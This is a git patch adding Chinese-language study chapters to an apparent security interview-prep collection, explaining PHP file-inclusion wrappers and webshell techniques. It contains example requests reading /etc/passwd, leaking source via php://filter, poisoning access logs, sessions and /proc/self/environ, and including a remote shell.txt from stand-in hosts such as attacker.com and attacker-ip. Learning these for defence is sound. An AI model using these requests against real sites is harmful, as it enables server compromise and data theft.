From 137cdcc2bf0ce4c2ef9d665b074a7ce029e7d365 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E9=9B=BE=E5=B3=B6=E9=A3=8E=E8=B5=B7=E6=99=82?= Date: Thu, 25 Sep 2025 03:57:46 +0800 Subject: [PATCH] Add files via upload --- Chapter16/16-1.md | 61 ++++++++++++++++++++++ Chapter16/16-2.md | 121 ++++++++++++++++++++++++++++++++++++++++++++ Chapter16/README.md | 19 +++++++ 3 files changed, 201 insertions(+) create mode 100644 Chapter16/16-1.md create mode 100644 Chapter16/16-2.md diff --git a/Chapter16/16-1.md b/Chapter16/16-1.md new file mode 100644 index 0000000..9e88126 --- /dev/null +++ b/Chapter16/16-1.md @@ -0,0 +1,61 @@ +### 常用的协议有哪些 + +**本地文件包含(LFI)协议** + +本地文件包含通常利用的是 Web 应用对用户输入的文件路径缺乏严格过滤,导致攻击者能够包含服务器上的任意文件 + +**1. `file://` 协议** + +这是最基础、最常见的文件包含协议。它允许你直接引用本地文件系统中的文件 + +- **用途**:读取服务器上的任意文件,如 `/etc/passwd`(Linux)或 `C:\Windows\win.ini`(Windows) +- **示例**:`http://example.com/vuln.php?file=file:///etc/passwd` +- **特点**:如果 Web 应用没有对路径进行充分过滤,攻击者可以利用 `../` 来遍历目录,从而访问到 Web 根目录以外的敏感文件 + +**远程文件包含(RFI)协议** + +远程文件包含通常出现在 PHP 中,当 `allow_url_include` 和 `allow_url_fopen` 配置都开启时,Web 应用可以包含远程服务器上的文件 + +**1. `http://` 或 `https://` 协议** + +这是最常见的远程文件包含方式,攻击者可以利用它来包含一个位于自己服务器上的恶意文件,从而在目标服务器上执行代码 + +- **用途**:在 Web 服务器上执行远程主机上的脚本,通常用于获取Webshell +- **示例**:`http://example.com/vuln.php?file=http://attacker.com/shell.txt` +- **特点**:`shell.txt`文件内容通常是一段Webshell代码,如`` + +**攻击者利用的伪协议(Pseudo Protocols)** + +这些协议不是为了包含文件而设计的,但攻击者可以利用它们来读取文件内容、执行代码或绕过 WAF + +**1. `php://filter`** + +这是一个非常强大的伪协议,它允许你对包含的文件内容进行过滤操作,比如编码或解码。最常见的用法是读取 PHP 文件的源码,因为源码中可能包含数据库凭证等敏感信息 + +- **用途**:读取本地文件的源码,绕过 Web 应用对 `php` 文件执行的限制 +- **示例**:`http://example.com/vuln.php?file=php://filter/read=convert.base64-encode/resource=index.php` +- **特点**:通过 Base64 编码,即使服务器对 `.php` 文件进行了执行处理,我们也能以明文形式获取其源码 + +**2. `php://input`** + +这个协议可以让我们直接从 POST 请求的请求体中读取数据,并作为文件内容进行执行。当文件包含漏洞的参数无法直接在 URL 中写入恶意代码时,这是一个非常有用的绕过方法 + +- **用途**:通过 POST 请求发送恶意代码并执行 +- **示例**:在 POST 请求中,发送数据``,同时访问`http://example.com/vuln.php?file=php://input` +- **特点**:常用于绕过 WAF 对 URL 中特定字符串的检测 + +**3. `data://`** + +这个协议可以让我们在 URL 中直接嵌入数据,并作为文件内容执行。这在某些情况下可以绕过一些过滤规则,因为它不依赖于外部文件 + +- **用途**:在 URL 中直接执行恶意代码 +- **示例**:`http://example.com/vuln.php?file=data://text/plain,` +- **特点**:如果 Web 应用对 URL 中的特殊字符进行过滤,这种方式可能会失效 + +**4. `phar://`** + +这个协议常用于反序列化攻击,尤其是在 PHAR 归档文件中。攻击者可以创建一个恶意的 PHAR 文件,并在其中嵌入恶意代码或反序列化对象,当服务器通过文件包含加载这个文件时,就会触发反序列化操作 + +- **用途**:利用 PHP 反序列化漏洞,执行任意命令 +- **示例**:`http://example.com/vuln.php?file=phar:///path/to/archive.phar` +- **特点**:这种攻击方式通常需要配合一个反序列化漏洞才能成功 \ No newline at end of file diff --git a/Chapter16/16-2.md b/Chapter16/16-2.md new file mode 100644 index 0000000..53c0109 --- /dev/null +++ b/Chapter16/16-2.md @@ -0,0 +1,121 @@ +### 怎么 GetShell + +**本地文件包含 (LFI) Getshell** + +LFI 的 Getshell 方法通常需要结合其他漏洞或技巧。攻击者无法直接包含一个远程 Webshell,但可以通过多种方式将恶意代码注入到服务器上的某个文件中,然后利用LFI漏洞包含该文件,从而执行恶意代码 + +**1. 日志文件 Getshell** + +这是 LFI Getshell 最经典且常用的方法之一。许多 Web 服务器(如Apache、Nginx)会将访问请求记录在日志文件中(如`access.log` 或 `error.log`) + +**利用步骤:** + +1. **注入恶意代码**:通过一个特制的 HTTP 请求,将恶意代码(如 PHP Webshell 代码)注入到服务器的日志文件中。例如,在 URL 中加入或在 User-Agent 字段中写入 Webshell 代码: + + ```php + + ``` + + 一个完整的 HTTP 请求可能看起来像这样: + + ```php + GET /?page=test.php HTTP/1.1 + Host: example.com + User-Agent: + ``` + + 这样,服务器的 `access.log` 文件中就会记录下这段恶意代码 + +2. **包含日志文件**:利用 LFI 漏洞,通过文件包含参数(如 `page` 或 `file`),包含日志文件 + + ```apl + http://example.com/index.php?file=../../../../var/log/apache2/access.log + ``` + + 当服务器执行这个请求时,它会把日志文件的内容当作 PHP 代码来执行,从而执行了我们注入的`system('whoami');` 命令 + +3. **获取 Webshell**:如果注入的是一个完整的 Webshell,现在就可以通过参数来执行任意命令了 + + ```apl + http://example.com/index.php?file=../../../../var/log/apache2/access.log&cmd=ls -al + ``` + +**2. Session 文件 Getshell** + +某些 Web 应用程序会将用户的 Session 信息保存在服务器的 `/tmp/` 目录下的文件中,文件命名通常为 `sess_PHPSESSID`。如果攻击者可以控制 Session 数据,就能通过 LFI 包含该文件 Getshell + +**利用步骤:** + +1. **设置 Session 值**:通过 `$_SESSION` 变量,将恶意代码注入到 Session 中。这通常需要先找到一个可以控制Session 值的参数,例如在登录或注册时 + + ```php + $_SESSION['username'] = ""; + ``` + +2. **获取 Session 文件路径**:通常 Session 文件的命名是 `sess_` 加上 Session ID。可以通过浏览器 Cookies 中的`PHPSESSID` 来获取 + + ```apl + http://example.com/index.php?file=../../../../tmp/sess_f32921a92a5436687e9544485304a9d7 + ``` + +3. **执行恶意代码**:当 LFI 漏洞包含该 Session 文件时,恶意代码被执行 + +**3. /proc/self/environ Getshell** + +在 Linux 系统中,`/proc/self/environ` 文件存储了当前进程的环境变量。攻击者可以通过设置 User-Agent 等环境变量,将恶意代码注入到该文件中,然后利用 LFI 漏洞包含它 + +**利用步骤:** + +1. **设置 User-Agent**:发送一个带有恶意 User-Agent 的请求 + + ```apl + GET /index.php?page=test.php HTTP/1.1 + Host: example.com + User-Agent: + ``` + +2. **包含环境变量文件**: + + ```apl + http://example.com/index.php?file=../../../../proc/self/environ + ``` + +3. **执行恶意代码**:成功包含后,恶意代码即被执行 + +**远程文件包含 (RFI) Getshell** + +RFI 通常比 LFI 更容易利用,因为它允许攻击者直接从自己的服务器上包含并执行恶意文件 + +**利用步骤:** + +1. **制作 Webshell 文件**:在攻击者自己的服务器上创建一个 Webshell 文件,例如 `shell.txt`,内容如下: + + ``` + + ``` + + 为了绕过一些过滤,文件名可以不使用 `.php` 后缀,例如 `shell.txt` 或 `shell.jpg` + +2. **启动 HTTP 服务**:在攻击者的服务器上(如Kali Linux),使用 Python 启动一个简单的 HTTP 服务来托管`shell.txt`: + + ```bash + python3 -m http.server 80 + ``` + +3. **远程文件包含**:利用 RFI 漏洞,将 URL 指向攻击者的服务器,包含 `shell.txt` + + ```apl + http://example.com/index.php?file=http://attacker-ip/shell.txt + ``` + + **注意**:为了防止服务器对 URL 进行过滤,有时需要使用编码、伪协议(如 `data://`)等技巧 + +4. **连接 Webshell**:如果成功,`shell.txt` 中的 Webshell 代码已经被执行。现在就可以使用工具(如 Postman、Burp Suite)或直接在 URL 中 POST 数据来执行命令了 + + ```apl + POST /index.php?file=http://attacker-ip/shell.txt HTTP/1.1 + Host: example.com + Content-Type: application/x-www-form-urlencoded + + cmd=ls -al + ``` \ No newline at end of file diff --git a/Chapter16/README.md b/Chapter16/README.md index 8b13789..9eecb4f 100644 --- a/Chapter16/README.md +++ b/Chapter16/README.md @@ -1 +1,20 @@ +# 网安面试题(涵盖护网、红队、逆向、二进制) +上万道安全面试题已经全部为您划分好,适用于网络安全所有岗位!!! + +HR:请问………… + +我:叽里咕噜说啥呢,看看八股文上写了没 + +(Summary.md 是目录噢!!) + +**🙏 特别感谢名单** + +在整理和完善本项目的过程中,以下朋友给予了宝贵的帮助与支持,在此表示诚挚的感谢!(排名不分先后) + +- **@用户名1** —— 提供了大量安全面试题方向的补充 +- **@用户名2** —— 纠正了多个问题的答案与表述 +- **@用户名3** —— 贡献了真实面试题经验分享 +- **@用户名4** —— 对内容结构与目录提出改进建议 + +如果您也愿意参与本项目,欢迎通过 **微信: XR3327026244** 投稿面试题或反馈问题,我们会在后续版本中加入您的名字